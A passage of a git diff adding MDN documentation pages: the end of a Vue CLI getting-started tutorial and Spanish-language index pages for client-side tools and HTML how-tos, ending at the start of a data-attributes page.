+<p>To install the CLI, run the following command in your terminal:</p>
+
+<pre class="brush: bash notranslate">npm install --global @vue/cli</pre>
+
+<p>Or if you'd prefer to use yarn:</p>
+
+<pre class="brush: bash notranslate">yarn global add @vue/cli</pre>
+
+<p>Once installed, to initialize a new project you can then open a terminal in the directory you want to create the project in, and run <code>vue create &lt;project-name&gt;</code>. The CLI will then give you a list of project configurations you can use. There are a few preset ones, and you can make your own. These options let you configure things like TypeScript, linting, vue-router, testing, and more.</p>
+
+<p>We’ll look at using this below.</p>
+
+<h2 id="Initializing_a_new_project">Initializing a new project</h2>
+
+<p>To explore various features of Vue, we will be building up a sample todo list app. We'll begin by using the Vue CLI to create a new app framework to build our app into. Follow the steps below:</p>
+
+<ol>
+ <li>In terminal, <code>cd</code> to where you'd like to create your sample app, then run <code>vue create moz-todo-vue</code>.</li>
+ <li>Use the arrow keys and <kbd>Enter</kbd> to select the "Manually select features" option.</li>
+ <li>The first menu you’ll be presented with allows you to choose which features you want to include in your project. Make sure that "Babel" and "Linter / Formatter" are selected. If they are not, use the arrow keys and the space bar to toggle them on. Once they are selected, press <kbd>Enter</kbd> to proceed.</li>
+ <li>Next you’ll select a config for the linter / formatter. Navigate to "Eslint with error prevention only" and hit <kbd>Enter</kbd> again. This will help us catch common errors, but not be overly opinionated.</li>
+ <li>Next you are asked to configure what kind of automated linting we want. Select "Lint on save". This will check for errors when we save a file inside the project. Hit <kbd>Enter</kbd> to continue.</li>
+ <li>Now, you will select how we want your config files to be managed. "In dedicated config files" will put your config settings for things like ESLint into their own, dedicated files. The other option, "In package.json", will put all of your config settings into the app's <code>package.json</code> file. Select "In dedicated config files" and push <kbd>Enter</kbd>.</li>
+ <li>Finally, you are asked if you want to save this as a preset for future options. This is entirely up to you. If you like these settings over the existing presets and want to use them again, type <kbd>y</kbd> , otherwise type <kbd>n</kbd>.</li>
+</ol>
+
+<p>The CLI will now begin scaffolding out your project, and installing all of your dependencies.</p>
+
+<p>If you've never run the Vue CLI before, you'll get one more question — you'll be asked to choose a package manager. You can use the arrow keys to select which one you prefer. The Vue CLI will default to this package manager from now on. If you need to use a different package manager after this, you can pass in a flag <code>--packageManager=&lt;package-manager&gt;</code>, when you run <code>vue create</code>.  So if you wanted to create the <code>moz-todo-vue</code> project with npm and you'd previously chosen yarn, you’d run <code>vue create moz-todo-vue --packageManager=npm</code>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: We've not gone over all of the options here, but you can <a href="https://cli.vuejs.org">find more information on the CLI</a> in the Vue docs.</p>
+</div>
+
+<h2 id="Project_structure">Project structure</h2>
+
+<p>If everything went successfully, the CLI should have created a series of files and directories for your project. The most significant ones are as follows:</p>
+
+<ul>
+ <li><code>.eslintrc.js</code>: This is a config file for <a href="https://eslint.org/">eslint</a>. You can use this to manage your linting rules.</li>
+ <li><code>babel.config.js</code>: This is the config file for <a href="https://babeljs.io/">Babel</a>, which transforms modern JavaScript features being used in development code into older syntax that is more cross-browser compatible in production code. You can register additional babel plugins in this file.</li>
+ <li><code>.browserslistrc</code>: This is a config for <a href="https://github.com/browserslist/browserslist">Browserslist</a>. You can use this to control which browsers your tooling optimizes for.</li>
+ <li><code>public</code>: This directory contains static assets that are published, but not processed by <a href="https://webpack.js.org/">Webpack</a> during build (with one exception; <code>index.html</code> gets some processing).
+  <ul>
+   <li><code>favicon.ico</code>: This is the favicon for your app. Currently, it's the Vue logo.</li>
+   <li><code>index.html</code>: This is the template for your app. Your Vue app is run from this HTML page, and you can use lodash template syntax to interpolate values into it.
+    <div class="note"><strong>Note</strong>: this is not the template for managing the layout of your application — this template is for managing static HTML that sits outside of your Vue app. Editing this file typically only occurs in advanced use cases.</div>
+   </li>
+  </ul>
+ </li>
+ <li><code>src</code>: This directory contains the core of your Vue app.
+  <ul>
+   <li><code>main.js</code>: this is the entry point to your application. Currently, this file initializes your Vue application and signifies which HTML element in the <code>index.html</code> file your app should be attached to. This file is often where you register global components or additional Vue libraries.</li>
+   <li><code>App.vue</code>: this is the top-level component in your Vue app. See below for more explanation of Vue components.</li>
+   <li><code>components</code>: this directory is where you keep your components. Currently it just has one example component.</li>
+   <li><code>assets</code>: This directory is for storing static assets like CSS and images. Because these files are in the source directory, they can be processed by Webpack. This means you can use pre-processors like <a href="https://sass-lang.com/">Sass/SCSS</a> or <a href="https://stylus-lang.com/">Stylus</a>.</li>
+  </ul>
+ </li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Depending on the options you select when creating a new project, there might be other directories present (for example, if you choose a router, you will also have a <code>views</code> directory).</p>
+</div>
+
+<h2 id=".vue_files_single_file_components">.vue files (single file components)</h2>
+
+<p>Like in many front-end frameworks, components are a central part of building apps in Vue. These components let you break a large application into discrete building blocks that can be created and managed separately, and transfer data between each other as required. These small blocks can help you reason about and test your code.</p>
+
+<p>While some frameworks encourage you to separate your template, logic, and styling code into separate files, Vue takes the opposite approach. Using <a href="https://vuejs.org/v2/guide/single-file-components.html">Single File Components</a>, Vue lets you group your templates, corresponding script, and CSS all together in a single file ending in <code>.vue</code>. These files are processed by a JS build tool (such as Webpack), which means you can take advantage of build-time tooling in your project. This allows you to use tools like Babel, TypeScript, SCSS and more to create more sophisticated components.</p>
+
+<p>As a bonus, projects created with the Vue CLI are configured to use <code>.vue</code> files with Webpack out of the box. In fact, if you look inside the <code>src</code> folder in the project we created with the CLI, you'll see your first <code>.vue</code> file: <code>App.vue</code>.</p>
+
+<p>Let's explore this now.</p>
+
+<h3 id="App.vue">App.vue</h3>
+
+<p>Open your <code>App.vue</code> file — you’ll see that it has three parts: <code>&lt;template&gt;</code>, <code>&lt;script&gt;</code>, and <code>&lt;style&gt;</code>, which contain the component’s template, scripting, and styling information. All Single File Components share this same basic structure.</p>
+
+<p><code>&lt;template&gt;</code> contains all the markup structure and display logic of your component. Your template can contain any valid HTML, as well as some Vue-specific syntax that we'll cover later.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: By setting the <code>lang</code> attribute on the <code>&lt;template&gt;</code> tag, you can use Pug template syntax instead of standard HTML — <code>&lt;template lang="pug"&gt;</code>. We'll stick to standard HTML through this tutorial, but it is worth knowing that this is possible.</p>
+</div>
+
+<p><code>&lt;script&gt;</code> contains all of the non-display logic of your component. Most importantly, your <code>&lt;script&gt;</code> tag needs to have a default exported JS object. This object is where you locally register components, define component inputs (props), handle local state, define methods, and more. Your build step will process this object and transform it (with your template) into a Vue component with a <code>render()</code> function.</p>
+
+<p>In the case of <code>App.vue</code>, our default export sets the name of the component to <code>app</code> and registers the <code>HelloWorld</code> component by adding it into the <code>components</code> property. When you register a component in this way, you're registering it locally. Locally registered components can only be used inside the components that register them, so you need to import and register them in every component file that uses them. This can be useful for bundle splitting/tree shaking since not every page in your app necessarily needs every component.</p>
+
+<pre class="brush: js notranslate">import HelloWorld from './components/HelloWorld.vue';
+
+export default {
+  name: 'app',
+  components: {
+    //You can register components locally here.
+    HelloWorld
+  }
+};</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: If you want to use <a href="https://www.typescriptlang.org/">TypeScript</a> syntax, you need to set the <code>lang</code> attribute on the <code>&lt;script&gt;</code> tag to signify to the compiler that you're using TypeScript — <code>&lt;script lang="ts"&gt;</code>.</p>
+</div>
+
+<p><code>&lt;style&gt;</code> is where you write your CSS for the component. If you add a <code>scoped</code> attribute — <code>&lt;style scoped&gt;</code> — Vue will scope the styles to the contents of your SFC. This works similar to CSS-in-JS solutions, but allows you to just write plain CSS.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: If you select a CSS pre-processor when creating the project via the CLI, you can add a <code>lang</code> attribute to the <code>&lt;style&gt;</code> tag so that the contents can be processed by Webpack at build time. For example, <code>&lt;style lang="scss"&gt;</code> will allow you to use SCSS syntax in your styling information.</p>
+</div>
+
+<h2 id="Running_the_app_locally">Running the app locally</h2>
+
+<p>The Vue CLI comes with a built-in development server. This allows you to run your app locally so you can test it easily without needing to configure a server yourself. The CLI adds a <code>serve</code> command to the project’s <code>package.json</code> file as an npm script, so you can easily run it.</p>
+
+<p>In your terminal, try running <code>npm run serve</code> (or <code>yarn serve</code> if you prefer yarn). Your terminal should output something like the following:</p>
+
+<pre class="notranslate">INFO  Starting development server...
+98% after emitting CopyPlugin
+
+ DONE  Compiled successfully in 18121ms
+
+  App running at:
+  - Local:   &lt;http://localhost:8080/&gt;
+  - Network: &lt;http://192.168.1.9:8080/&gt;
+
+  Note that the development build is not optimized.
+  To create a production build, run npm run build.</pre>
+
+<p>If you navigate to the “local” address in a new browser tab (this should be something like <code>http://localhost:8080</code> as stated above, but may vary based on your setup), you should see your app. Right now, it should contain a welcome message, a link to the Vue documentation, links to the plugins you added when you initialized the app with your CLI, and some other useful links to the Vue community and ecosystem.</p>
+
+<p><img alt="default vue app render, with vue logo, welcome message, and some documentation links" src="https://mdn.mozillademos.org/files/17240/vue-default-app.png" style="border-style: solid; border-width: 1px; height: 779px; width: 1600px;"></p>
+
+<h2 id="Making_a_couple_of_changes">Making a couple of changes</h2>
+
+<p>Let's make our first change to the app — we’ll delete the Vue logo. Open the <code>App.vue</code> file, and delete the <code><a href="/en-US/docs/Web/HTML/Element/img">&lt;img&gt;</a></code> element from the template section:</p>
+
+<pre class="brush: html notranslate"><span class="author-d-iz88z86z86za0dz67zz78zz78zz74zz68zjz80zz71z9iz90z8h7gz67ziz76zcz77zz80zz71zncfz69zz69ziaz82zz71zz72zhz77zz122zz90z14mcyd">&lt;img alt="Vue logo" src="./assets/logo.png"&gt;</span></pre>
+
+<p>If your server is still running, you should see the logo removed from the rendered site almost instantly. Let’s also remove the <code>HelloWorld</code> component from our template.</p>
+
+<p>First of all delete this line:</p>
+
+<pre class="brush: html notranslate">&lt;HelloWorld msg="Welcome to Your Vue.js App"/&gt;</pre>
+
+<p>If you save your <code>App.vue</code> file now, the rendered app will throw an error because we’ve registered the component but are not using it. We also need to remove the lines from inside the <code>&lt;script&gt;</code> element that import and register the component:</p>
+
+<p>Delete these lines now:</p>
+
+<pre class="brush: js notranslate">import HelloWorld from './components/HelloWorld.vue'</pre>
+
+<pre class="brush: js notranslate">components: {
+  HelloWorld
+}</pre>
+
+<p>Your rendered app should no longer show an error, just a blank page, as we currently have no visible content inside <code>&lt;template&gt;</code>.</p>
+
+<p>Let’s add a new <code>&lt;h1&gt;</code> inside <code>&lt;div id="app"&gt;</code>. Since we’re going to be creating a todo list app below, let's set our header text to "To-Do List". Add it like so:</p>
+
+<pre class="brush: html notranslate">&lt;template&gt;
+  &lt;div id="app"&gt;
+    &lt;h1&gt;To-Do List&lt;/h1&gt;
+  &lt;/div&gt;
+&lt;/template&gt;</pre>
+
+<p><code>App.vue</code> will now show our heading, as you'd expect.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Let's leave this here for now. We've learnt about some of the ideas behind Vue, created some scaffolding for our example app to live inside, inspected it, and made a few preliminary changes.</p>
+
+<p>With a basic introduction out of the way, we'll now go further and build up our sample app, a basic Todo list application that allows us to store a list of items, check them off when done, and filter the list by all, complete, and incomplete todos.</p>
+
+<p>In the next article we'll build our first custom component, and look at some important concepts such as passing props into it and saving its data state.</p>
+
+<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li>
+ <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li>
+ <li>React
+  <ul>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li>
+  </ul>
+ </li>
+ <li>Ember
+  <ul>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li>
+  </ul>
+ </li>
+ <li>Vue
+  <ul>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li>
+  </ul>
+ </li>
+ <li>Svelte
+  <ul>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">Getting started with Svelte</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">Starting our Svelte Todo list app</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">Dynamic behavior in Svelte: working with variables and props</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">Componentizing our Svelte app</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">Advanced Svelte: Reactivity, lifecycle, accessibility</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">Working with Svelte stores</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">TypeScript support in Svelte</a></li>
+   <li><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">Deployment and next steps</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/learn/herramientas_y_pruebas/understanding_client-side_tools/index.html b/files/es/learn/herramientas_y_pruebas/understanding_client-side_tools/index.html
new file mode 100644
index 0000000000..6221b0382f
--- /dev/null
+++ b/files/es/learn/herramientas_y_pruebas/understanding_client-side_tools/index.html
@@ -0,0 +1,46 @@
+---
+title: Understanding client-side web development tools
+slug: Learn/Herramientas_y_pruebas/Understanding_client-side_tools
+tags:
+  - Aprender
+  - CSS
+  - Despliegue
+  - HTML
+  - Herramientas
+  - JavaScript
+  - Novatos
+  - Transformación
+  - client-side
+  - lado del cliente
+translation_of: Learn/Tools_and_testing/Understanding_client-side_tools
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Las herramientas del lado del cliente (<em>client-side</em> en inglés) pueden ser intimidantes, pero esta serie de artículos tiene como propósito ilustrar el propósito de algunos de los tipos de herramientas <em>client-side</em>, explicar las herramientas que puedes integrar, cómo instalarlas usando administradores de paquetes y cómo controlarlas usando la línea de comandos. Terminanos esta sección dando un ejemplo de cadena de herramientas para mostrarte cómo puedes ser más productivo</p>
+
+<p class="summary"><strong><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Overview">Inicia ahora con nuestra "Introducción a las herraminetas <em>client-side</em>"</a></strong></p>
+
+<h2 id="Requisitos_previos">Requisitos previos</h2>
+
+<p>Debes aprender el núcleo básico de los lenguajes <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a> y <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>, antes de intentar usar las herramientas aquí descritas.</p>
+
+<div class="in-page-callout webdev">
+<h3 id="¿Quieres_convertirte_en_un_desarrollador_front-end">¿Quieres convertirte en un desarrollador <em>front-end</em>?</h3>
+
+<p>Tenemos un curso que incluye toda la información esencial que necesitas para lograr tu objetivo.</p>
+<a class="cta primary" href="/docs/Learn/Front-end_web_developer">Inicia ahora</a></div>
+
+<h2 id="Guías">Guías</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Overview">1. Introducción a las herramientas <em>client-side</em></a></dt>
+ <dd>En este artículo damos una introducción a las herramientas modernas de la web, los tipos de herramientas disponibles, donde te las puedes encontrar en el cliclo de desarrollo de aplicaciones web y como buscar ayuda con las herramientas individuales.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">2. Introducción a la linea de comandos</a></dt>
+ <dd>En tu proceso de desarrollo seguramente vas a requeria correr algunos comandos en la terminal (o "línea de comandos"). Este artículo da una introducción a la terminal, los comandos básicos que vas a necesitar para utilizarla, cómo integrar diferentes comandos y cómo agregar tu propia interfaz de línea de comandos (<em>command line interface</em> - CLI en inglés).</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Package_management">3. Introducción al manejo de paquetes</a></dt>
+ <dd>En este artículo exploramos los sistemas de administración de paquetes en detalle para entender cómo los podemos usar en nuestros proyectos, ya sea para instalar dependencias a nuestro proyecto, descargar actualizaciones y mucho más.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Introducing_complete_toolchain">4. Introduciendo una cadena de herramientas completa</a></dt>
+ <dd>En los últimos dos artículos en esta serie vamos a solidificar tu conocimiento de las herramientas para el desarrollo web construyendo una cadena de herramients. Iniciaremos configurando un ambiente de desarrollo y colocando herramentas de transformación para desplegar nuestra aplicación en Netlify. En este artículo introducimos un estudio de caso, configuramos nuestro ambiente de desarrollo y configuramos herramientas de transformación de código.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Deployment">5. Desplegando nuestra aplicación</a></dt>
+ <dd>En el artículo final de esta serie, utilizamos nuestra cadena de herramientas que construimos en el artículo previo y la extendemos para desplegar nuestra aplicación muestra. Subimos nuestro código a GitHub, desplegamos usando Netlify e incluso te enseñamos a realizar una prueba en el proceso.</dd>
+</dl>
diff --git a/files/es/learn/html/como/index.html b/files/es/learn/html/como/index.html
new file mode 100644
index 0000000000..095e5bc54e
--- /dev/null
+++ b/files/es/learn/html/como/index.html
@@ -0,0 +1,141 @@
+---
+title: Solución de problemas comunes de HTML
+slug: Learn/HTML/como
+tags:
+  - CodificacióndeSecuenciadeComandos
+  - HTML
+translation_of: Learn/HTML/Howto
+---
+<p>{{LearnSidebar}}</p>
+
+<p class="summary">Los siguientes enlaces brindan soluciones puntuales a los problemas más comunes a los que te enfrentarás a diario en HTML.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Estructura_básica">Estructura básica</h3>
+
+<p>La principal aplicación de HTML es la estructuración del documento. Si eres nuevo en HTML debes empezar aquí.</p>
+
+<ul>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Anatomy_of_an_HTML_document">Cómo crear un documento HTML básico</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Divide_a_webpage_into_logical_sections">Cómo dividir una página web en secciones lógicas</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#The_basics_headings_and_paragraphs">Cómo establecer una estructura adecuada de encabezados y párrafos</a></li>
+</ul>
+
+<h3 id="Semántica_básica_textos">Semántica básica textos</h3>
+
+<p>HTML se especializa en suministrar información semántica del documento, así que HTML soluciona muchas dudas que puede tener sobre como transmitir su mensaje a través de un documento.</p>
+
+<ul>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Lists">Cómo crear una lista de elementos con HTML</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance">Cómo enfatizar o acentuar contenido</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance">Cómo indicar qué texto es importante</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Representing_computer_code">Cómo muestra el ordenador el codigo HTML</a></li>
+ <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Images_in_HTML#Annotating_images_with_figures_and_figure_captions">Cómo comentar imagenes y gráficas</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Abbreviations">Cómo marcar abreviaturas y hacerlas entendibles</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting#Quotations">Cómo añadir citas y referencias a sitios web</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Define_terms_with_HTML">Cómo definir términos con HTML</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<h3 id="Hipervínculos">Hipervínculos</h3>
+
+<p>Uno de las principales razones por las que HTML hace más fácil la navegación son los {{Glossary("hyperlink", "hipervínculos")}}, que pueden ser usados de diferentes formas:</p>
+
+<ul>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#Active_learning_creating_a_navigation_menu">Cómo crear un hipervínculo</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#Active_learning_creating_a_navigation_menu">Cómo crear una tabla de contenidos con HTML</a></li>
+</ul>
+
+<h3 id="Imágenes_y_multimedia">Imágenes y multimedia</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#Active_learning_creating_a_navigation_menu">Cómo</a><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Images_in_HTML#How_do_we_put_an_image_on_a_webpage"> añadir imagenes al sitio web</a></li>
+ <li><a href="/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#Active_learning_creating_a_navigation_menu">Cómo</a><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content"> añadir contenidos de video al sitio web</a></li>
+</ul>
+
+<h3 id="Scripts_y_estilización">Scripts y estilización</h3>
+
+<p>HTML únicamente define la estructura del documento. Para solucionar los problemas de presentación usamos {{glossary("CSS")}}, o usamos scripts para hacer la página interactiva.</p>
+
+<ul>
+ <li><a href="/en-US/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_to_apply_your_CSS_to_your_HTML">Cómo usar CSS dentro de un sitio web</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Use_JavaScript_within_a_webpage">Cómo usar JavaScript dentro de un sitio web</a></li>
+</ul>
+
+<h3 id="Contenido_integrado">Contenido integrado</h3>
+
+<ul>
+ <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">Cómo integrar una página web dentro de otra</a></li>
+ <li><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#The_%3Cembed%3E_and_%3Cobject%3E_elements">Cómo integrar contenido Flash </a><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">dentro de </a><a href="/en-US/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#The_%3Cembed%3E_and_%3Cobject%3E_elements">una página web</a></li>
+</ul>
+</div>
+</div>
+
+<h2 id="Problemas_avanzados_o_raros">Problemas avanzados o raros</h2>
+
+<p>Más allá de lo basico, HTML es muy rico y ofrece características avanzadas para solucionar problemas complejos. Estos artículos te ayudarán a abordar estos casos menos comunes:</p>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Formularios">Formularios</h3>
+
+<p>Los formularios son una estructura compleja en HTML para enviar datos desde una pagina web al servidor. Te animamos a que revises la <a href="/en-US/docs/Web/Guide/HTML/Forms">guia completa</a>. Aquí es por donde deberías empezar:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms/My_first_HTML_form">Cómo crear un formulario Web simple</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms/How_to_structure_an_HTML_form">Cómo estructurar un formulario Web</a></li>
+</ul>
+
+<h3 id="Información_tabular">Información tabular</h3>
+
+<p>Alguna información, llamada datos tabulares, necesita ser organizada en tablas mediante filas y columnas. Siendo ésta una de las estructuras más complejas de HTML, no es fácil dominarla:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Create_a_data_spreadsheet">Cómo crear una tabla de datos</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Make_HTML_tables_accessible">Cómo hacer tablas HTML accesibles</a></li>
+</ul>
+
+<h3 id="Representación_de_datos">Representación de datos</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTMLHowto/Represent_numeric_values_with_HTML">Cómo representar valores numericos y de código con HTML -</a> <span class="tlid-translation translation" lang="es"><span title="">ver </span></span> <span class="tlid-translation translation" lang="es"><span title="">Superíndice y Subíndice, y Representación del código de la computadora.</span></span></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Associate_human_readable_content_with_arbitrary_computer_data_structures">Cómo usar atributos de datos</a></li>
+</ul>
+
+<h3 id="Rendimiento">Rendimiento</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Create_collapsible_content_with_HTML">Cómo crear páginas HTML de carga rápida</a></li>
+</ul>
+</div>
+
+<div class="column-half">
+<h3 id="Semántica_avanzada_de_texto">Semántica avanzada de texto</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Take_control_of_HTML_line_breaking">Cómo controlar el salto de línea en HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Mark_text_insertion_and_deletion">Cómo marcar cambios (agregar y remover textos)</a> -ver los elementos {{htmlelement("ins")}} y {{htmlelement("del")}}</li>
+</ul>
+
+<h3 id="Imágenes_y_multimedia_avanzada">Imágenes y multimedia avanzada</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Cómo agregar una imagen receptiva a una página web</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Cómo agregar una imagen vectorial a una página web</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image">Cómo agregar un mapa de visitas sobre una imagen</a></li>
+</ul>
+
+<h3 id="Internacionalización">Internacionalización</h3>
+
+<p>HTML no es monolingüe. Éste <span class="tlid-translation translation" lang="es"><span title="">proporciona herramientas para manejar problemas comunes de internacionalización.</span></span></p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Add_multiple_languages_into_a_single_webpage">Cómo agregar multiples lenguajes en una misma página web</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Display_time_and_date_with_HTML">Cómo mostrar hora y fecha con HTML </a></li>
+</ul>
+</div>
+</div>
+
+<p><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span> </p>
diff --git a/files/es/learn/html/como/usando_atributos_de_datos/index.html b/files/es/learn/html/como/usando_atributos_de_datos/index.html
new file mode 100644
index 0000000000..7629974833
--- /dev/null
+++ b/files/es/learn/html/como/usando_atributos_de_datos/index.html
@@ -0,0 +1,75 @@
+---
+title: Uso de atributos de datos
+slug: Learn/HTML/como/Usando_atributos_de_datos
+translation_of: Learn/HTML/Howto/Use_data_attributes
+---
+<div>{{LearnSidebar}}</div>
+
